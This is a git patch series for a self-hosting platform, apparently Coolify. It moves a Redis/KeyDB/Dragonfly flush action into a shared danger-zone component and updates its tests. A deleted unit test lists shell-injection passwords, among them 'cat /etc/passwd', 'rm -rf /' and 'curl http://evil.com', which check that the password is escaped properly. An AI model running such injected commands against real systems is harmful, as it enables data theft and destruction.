[StandaloneDragonfly::class, ['dragonfly_password' => 'secret', 'enable_ssl' => true], 'redis-cli --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key'], ]); test('reports an error when the database does not reply OK', function () { diff --git a/tests/Unit/FlushCacheDatabaseCommandTest.php b/tests/Unit/FlushCacheDatabaseCommandTest.php deleted file mode 100644 index 86982b457c..0000000000 --- a/tests/Unit/FlushCacheDatabaseCommandTest.php +++ /dev/null @@ -1,39 +0,0 @@ - ['pass; id > /tmp/pwned; echo'], - 'command substitution $()' => ['pass$(id > /tmp/pwned)'], - 'backtick substitution' => ['pass`id > /tmp/pwned`'], - 'pipe operator' => ['pass | cat /etc/passwd'], - 'background operator' => ['pass & curl http://evil.com'], - 'single quote breakout' => ["pass' ; rm -rf / ; '"], -]); - -test('flush command runs FLUSHALL ASYNC via docker exec against the container uuid', function () { - $command = (new FlushCacheDatabase)->buildFlushCommand('abc123uuid', 'secret'); - - expect($command)->toStartWith('docker exec abc123uuid redis-cli') - ->and($command)->toEndWith('FLUSHALL ASYNC') - ->and($command)->toContain("-a 'secret'"); -}); - -test('flush command omits the -a flag when no password is set', function () { - $command = (new FlushCacheDatabase)->buildFlushCommand('abc123uuid', null); - - expect($command)->toBe('docker exec abc123uuid redis-cli FLUSHALL ASYNC') - ->and($command)->not->toContain('-a'); -}); - -test('flush command shell-escapes the password so it cannot inject shell commands', function (string $malicious) { - $command = (new FlushCacheDatabase)->buildFlushCommand('abc123uuid', $malicious); - - // The password must appear only inside a single-quoted, escaped argument. - expect($command)->toContain(escapeshellarg($malicious)) - ->and($command)->toEndWith('FLUSHALL ASYNC'); - - // Strip the escaped password out; nothing dangerous may remain in the raw command. - $withoutPassword = str_replace(escapeshellarg($malicious), '', $command); - expect($withoutPassword)->toBe('docker exec abc123uuid redis-cli -a FLUSHALL ASYNC'); -})->with('malicious_passwords'); From 5d9ea79ac802dc1fca4142948fc4a7ab2e5b33ce Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Sun, 4 Oct 2026 22:42:31 +0200 Subject: [PATCH 7/8] refactor(database): move flush into the shared danger zone --- app/Livewire/Project/Database/FlushCache.php | 61 ------- app/Livewire/Project/Shared/Danger.php | 26 +++ .../project/database/configuration.blade.php | 7 +- .../project/database/flush-cache.blade.php | 43 ----- .../livewire/project/shared/danger.blade.php | 17 ++ tests/Feature/DatabaseFlushCacheTest.php | 160 ------------------ tests/Feature/DatabaseFlushTest.php | 112 ++++++++++++ 7 files changed, 156 insertions(+), 270 deletions(-) delete mode 100644 app/Livewire/Project/Database/FlushCache.php delete mode 100644 resources/views/livewire/project/database/flush-cache.blade.php delete mode 100644 tests/Feature/DatabaseFlushCacheTest.php create mode 100644 tests/Feature/DatabaseFlushTest.php diff --git a/app/Livewire/Project/Database/FlushCache.php b/app/Livewire/Project/Database/FlushCache.php deleted file mode 100644 index 96bbe0b9c4..0000000000 --- a/app/Livewire/Project/Database/FlushCache.php +++ /dev/null @@ -1,61 +0,0 @@ -authorize('view', $this->database); - } - - public function flush(): void - { - try { - $this->authorize('manage', $this->database); - - if (! $this->isCacheDatabase()) { - throw new \RuntimeException('This database type does not support cache flushing.'); - } - - FlushCacheDatabase::run($this->database); - $this->auditFlush(); - $this->dispatch('success', 'Cache flushed successfully.'); - } catch (\Throwable $e) { - handleError($e, $this); - } - } - - public function isCacheDatabase(): bool - { - return $this->database instanceof StandaloneRedis - || $this->database instanceof StandaloneKeydb - || $this->database instanceof StandaloneDragonfly; - } - - private function auditFlush(): void - { - auditLog('ui.database.flushed', [ - 'team_id' => $this->database->team()?->id, - 'database_uuid' => $this->database->uuid, - 'database_name' => $this->database->name, - ]); - } - - public function render(): View - { - return view('livewire.project.database.flush-cache'); - } -} diff --git a/app/Livewire/Project/Shared/Danger.php b/app/Livewire/Project/Shared/Danger.php index 4de58e145e..87b6e3d8ed 100644 --- a/app/Livewire/Project/Shared/Danger.php +++ b/app/Livewire/Project/Shared/Danger.php @@ -2,6 +2,7 @@ namespace App\Livewire\Project\Shared; +use App\Actions\Database\FlushCacheDatabase; use App\Jobs\DeleteResourceJob; use App\Models\Service; use App\Models\ServiceApplication; @@ -157,6 +158,31 @@ class Danger extends Component } } + public function flush($password) + { + try { + $this->authorize('manage', $this->resource); + + if (! verifyPasswordConfirmation($password, $this)) { + return 'The provided password is incorrect.'; + } + + FlushCacheDatabase::run($this->resource); + auditLog('ui.database.flushed', [ + 'team_id' => $this->resource->team()?->id, + 'database_uuid' => $this->resource->uuid, + 'database_name' => $this->resource->name, + ]); + $this->dispatch('success', 'Database flushed.'); + + return true; + } catch (\Throwable $e) { + handleError($e, $this); + + return false; + } + } + public function render() { return view('livewire.project.shared.danger', [ diff --git a/resources/views/livewire/project/database/configuration.blade.php b/resources/views/livewire/project/database/configuration.blade.php index 397dbafe28..23778effa3 100644 --- a/resources/views/livewire/project/database/configuration.blade.php +++ b/resources/views/livewire/project/database/configuration.blade.php @@ -53,12 +53,7 @@ @elseif ($currentRoute === 'project.database.tags') @elseif ($currentRoute === 'project.database.danger') -
- @if (in_array($database->type(), ['standalone-redis', 'standalone-keydb', 'standalone-dragonfly'])) - - @endif - -
+ @endif diff --git a/resources/views/livewire/project/database/flush-cache.blade.php b/resources/views/livewire/project/database/flush-cache.blade.php deleted file mode 100644 index 9de2ee5666..0000000000 --- a/resources/views/livewire/project/database/flush-cache.blade.php +++ /dev/null @@ -1,43 +0,0 @@ -
- -
-
-
-
-

Flush cache

- -
-

- Permanently erase every key in - {{ $database->name }} - by running FLUSHALL ASYNC inside the running container. -

-
    -
  • • All cached data is removed and cannot be recovered.
  • -
  • • The database container keeps running; only its data is cleared.
  • -
  • • The database must be running for this action to work.
  • -
-
- -
- @can('manage', $database) - - @else - - Flush cache - - @endcan -
-
-
-
-
diff --git a/resources/views/livewire/project/shared/danger.blade.php b/resources/views/livewire/project/shared/danger.blade.php index faeff1aed2..5aaf304ef1 100644 --- a/resources/views/livewire/project/shared/danger.blade.php +++ b/resources/views/livewire/project/shared/danger.blade.php @@ -17,6 +17,23 @@ @endif + @if (in_array($resource?->type(), ['standalone-redis', 'standalone-keydb', 'standalone-dragonfly'])) + +

+ Permanently remove every key from + {{ $resourceName }}. + The database keeps running. +

+ + + +
+ @endif

Permanently delete diff --git a/tests/Feature/DatabaseFlushCacheTest.php b/tests/Feature/DatabaseFlushCacheTest.php deleted file mode 100644 index a8b38de4db..0000000000 --- a/tests/Feature/DatabaseFlushCacheTest.php +++ /dev/null @@ -1,160 +0,0 @@ -withoutDefer(); - - InstanceSettings::forceCreate(['id' => 0]); - - $this->team = Team::factory()->create(); - $this->user = User::factory()->create(); - $this->team->members()->attach($this->user->id, ['role' => 'owner']); - $this->actingAs($this->user); - session(['currentTeam' => $this->team]); - - $server = Server::factory()->create([ - 'team_id' => $this->team->id, - 'private_key_id' => PrivateKey::factory()->create(['team_id' => $this->team->id])->id, - 'user' => 'deploy', - ]); - $server->settings->update(['is_reachable' => true, 'is_usable' => true, 'force_disabled' => false]); - $this->destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); - $project = Project::factory()->create(['team_id' => $this->team->id]); - $this->environment = Environment::factory()->create(['project_id' => $project->id]); -}); - -function makeRedis(mixed $environment, mixed $destination): StandaloneRedis -{ - return StandaloneRedis::create([ - 'name' => 'cache-redis', - 'image' => 'redis:7', - 'redis_password' => 'password', - 'redis_username' => 'default', - 'status' => 'running:healthy', - 'environment_id' => $environment->id, - 'destination_id' => $destination->id, - 'destination_type' => $destination->getMorphClass(), - ]); -} - -function makePostgres(mixed $environment, mixed $destination): StandalonePostgresql -{ - return StandalonePostgresql::create([ - 'name' => 'app-postgres', - 'image' => 'postgres:16', - 'postgres_user' => 'coolify', - 'postgres_password' => 'password', - 'postgres_db' => 'coolify', - 'status' => 'running:healthy', - 'environment_id' => $environment->id, - 'destination_id' => $destination->id, - 'destination_type' => $destination->getMorphClass(), - ]); -} - -test('flushes every key with the engine CLI and records an audit event', function (string $model, array $attributes, string $cli) { - $database = $model::create([ - 'name' => 'cache', - 'image' => 'redis:7', - 'environment_id' => $this->environment->id, - 'destination_id' => $this->destination->id, - 'destination_type' => $this->destination->getMorphClass(), - ...$attributes, - ]); - Process::fake(['*' => Process::result(output: 'OK')]); - - Livewire::test(FlushCache::class, ['database' => $database]) - ->call('flush') - ->assertDispatched('success'); - - Process::assertRan(fn ($process) => str_contains($process->command, "sudo bash -c 'docker exec {$database->uuid} sh -c '\\''REDISCLI_AUTH=\"\$REDIS_PASSWORD\" {$cli} FLUSHALL ASYNC'\\'''")); - expect(AuditEvent::query() - ->where('event', 'ui.database.flushed') - ->where('resource_uuid', $database->uuid) - ->exists())->toBeTrue(); -})->with([ - 'redis' => [StandaloneRedis::class, [], 'redis-cli'], - 'keydb' => [StandaloneKeydb::class, ['keydb_password' => 'secret'], 'keydb-cli'], - 'dragonfly with tls' => [StandaloneDragonfly::class, ['dragonfly_password' => 'secret', 'enable_ssl' => true], 'redis-cli --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key'], -]); - -test('reports an error when the database does not reply OK', function () { - $redis = makeRedis($this->environment, $this->destination); - Process::fake(['*' => Process::result(output: 'NOAUTH Authentication required.')]); - - Livewire::test(FlushCache::class, ['database' => $redis]) - ->call('flush') - ->assertDispatched('error', 'NOAUTH Authentication required.'); - - expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); -}); - -test('refuses to flush a non-cache database and does not run the action', function () { - $postgres = makePostgres($this->environment, $this->destination); - - FlushCacheDatabase::mock()->shouldReceive('handle')->never(); - - Livewire::test(FlushCache::class, ['database' => $postgres]) - ->call('flush') - ->assertDispatched('error'); - - expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); -}); - -test('denies flushing to a member without manage permission', function () { - $redis = makeRedis($this->environment, $this->destination); - - $member = User::factory()->create(); - $this->team->members()->attach($member->id, ['role' => 'member']); - $this->actingAs($member); - session(['currentTeam' => $this->team]); - - FlushCacheDatabase::mock()->shouldReceive('handle')->never(); - - Livewire::test(FlushCache::class, ['database' => $redis]) - ->call('flush') - ->assertDispatched('error'); - - expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); -}); - -test('renders the flush cache card for a cache database', function () { - $redis = makeRedis($this->environment, $this->destination); - - Livewire::test(FlushCache::class, ['database' => $redis]) - ->assertSee('Flush cache') - ->assertSee('FLUSHALL ASYNC'); -}); - -test('the danger page wires the flush cache section only for cache database types', function () { - $source = file_get_contents(resource_path('views/livewire/project/database/configuration.blade.php')); - - // The flush-cache component is rendered on the danger route, guarded to the three cache types. - expect($source) - ->toContain('project.database.flush-cache') - ->toMatch('/in_array\(\$database->type\(\), \[.*standalone-redis.*standalone-keydb.*standalone-dragonfly.*\]\)[\s\S]*project\.database\.flush-cache/'); - - // It must no longer live in the heading action menu. - $heading = file_get_contents(resource_path('views/livewire/project/database/heading.blade.php')); - expect($heading)->not->toContain('Flush cache'); -}); diff --git a/tests/Feature/DatabaseFlushTest.php b/tests/Feature/DatabaseFlushTest.php new file mode 100644 index 0000000000..476aed154d --- /dev/null +++ b/tests/Feature/DatabaseFlushTest.php @@ -0,0 +1,112 @@ + 0]); + $this->withoutDefer(); +}); + +function createFlushableDatabase(string $model, array $attributes = []): StandaloneRedis|StandaloneKeydb|StandaloneDragonfly +{ + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $team->id])->id, + 'user' => 'deploy', + ]); + $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $team->id]); + + return $model::create([ + 'name' => 'cache', + 'image' => 'redis:7', + 'environment_id' => Environment::factory()->create(['project_id' => $project->id])->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ...$attributes, + ]); +} + +function actingAsFlushUser(Team $team, string $role): void +{ + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => $role]); + test()->actingAs($user); + session(['currentTeam' => $team]); +} + +it('flushes every key with the engine CLI', function (string $model, array $attributes, string $cli) { + $database = createFlushableDatabase($model, $attributes); + actingAsFlushUser($database->team(), 'owner'); + Process::fake(['*' => Process::result(output: 'OK')]); + + Livewire::test(Danger::class, ['resource' => $database]) + ->call('flush', 'password') + ->assertReturned(true) + ->assertDispatched('success'); + + Process::assertRan(fn ($process) => str_contains($process->command, "sudo bash -c 'docker exec {$database->uuid} sh -c '\\''REDISCLI_AUTH=\"\$REDIS_PASSWORD\" {$cli} FLUSHALL ASYNC'\\'''")); + expect(AuditEvent::query()->where('event', 'ui.database.flushed')->where('resource_uuid', $database->uuid)->exists())->toBeTrue(); +})->with([ + 'redis' => [StandaloneRedis::class, [], 'redis-cli'], + 'keydb' => [StandaloneKeydb::class, ['keydb_password' => 'secret'], 'keydb-cli'], + 'dragonfly with tls' => [StandaloneDragonfly::class, ['dragonfly_password' => 'secret', 'enable_ssl' => true], 'redis-cli --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key'], +]); + +it('reports an error when the database does not reply OK', function () { + $database = createFlushableDatabase(StandaloneRedis::class); + actingAsFlushUser($database->team(), 'owner'); + Process::fake(['*' => Process::result(output: 'NOAUTH Authentication required.')]); + + Livewire::test(Danger::class, ['resource' => $database]) + ->call('flush', 'password') + ->assertReturned(false) + ->assertDispatched('error', 'NOAUTH Authentication required.'); + + expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); +}); + +it('rejects an incorrect password without flushing', function () { + $database = createFlushableDatabase(StandaloneRedis::class); + actingAsFlushUser($database->team(), 'owner'); + Process::fake(); + + Livewire::test(Danger::class, ['resource' => $database]) + ->call('flush', 'wrong-password') + ->assertReturned('The provided password is incorrect.'); + + Process::assertNothingRan(); +}); + +it('forbids flushing without permission to manage the database', function (string $role, bool $sameTeam) { + $database = createFlushableDatabase(StandaloneRedis::class); + actingAsFlushUser($sameTeam ? $database->team() : Team::factory()->create(), $role); + Process::fake(); + + Livewire::test(Danger::class, ['resource' => $database]) + ->call('flush', 'password') + ->assertDispatched('error'); + + Process::assertNothingRan(); +})->with([ + 'team member' => ['member', true], + 'admin of another team' => ['admin', false], +]); From 189207a7a5444b36c7990febbcb2019c77bacd11 Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Sun, 4 Oct 2026 22:42:34 +0200 Subject: [PATCH 8/8] refactor(database): rename FlushCacheDatabase action to FlushDatabase --- .../Database/{FlushCacheDatabase.php => FlushDatabase.php} | 2 +- app/Livewire/Project/Shared/Danger.php | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) rename app/Actions/Database/{FlushCacheDatabase.php => FlushDatabase.php} (97%) diff --git a/app/Actions/Database/FlushCacheDatabase.php b/app/Actions/Database/FlushDatabase.php similarity index 97% rename from app/Actions/Database/FlushCacheDatabase.php rename to app/Actions/Database/FlushDatabase.php index edf6bc811f..d6fd152490 100644 --- a/app/Actions/Database/FlushCacheDatabase.php +++ b/app/Actions/Database/FlushDatabase.php @@ -8,7 +8,7 @@ use App\Models\StandaloneRedis; use Lorisleiva\Actions\Concerns\AsAction; use RuntimeException; -class FlushCacheDatabase +class FlushDatabase { use AsAction; diff --git a/app/Livewire/Project/Shared/Danger.php b/app/Livewire/Project/Shared/Danger.php index 87b6e3d8ed..0865974828 100644 --- a/app/Livewire/Project/Shared/Danger.php +++ b/app/Livewire/Project/Shared/Danger.php @@ -2,7 +2,7 @@ namespace App\Livewire\Project\Shared; -use App\Actions\Database\FlushCacheDatabase; +use App\Actions\Database\FlushDatabase; use App\Jobs\DeleteResourceJob; use App\Models\Service; use App\Models\ServiceApplication; @@ -167,7 +167,7 @@ class Danger extends Component return 'The provided password is incorrect.'; } - FlushCacheDatabase::run($this->resource); + FlushDatabase::run($this->resource); auditLog('ui.database.flushed', [ 'team_id' => $this->resource->team()?->id, 'database_uuid' => $this->resource->uuid,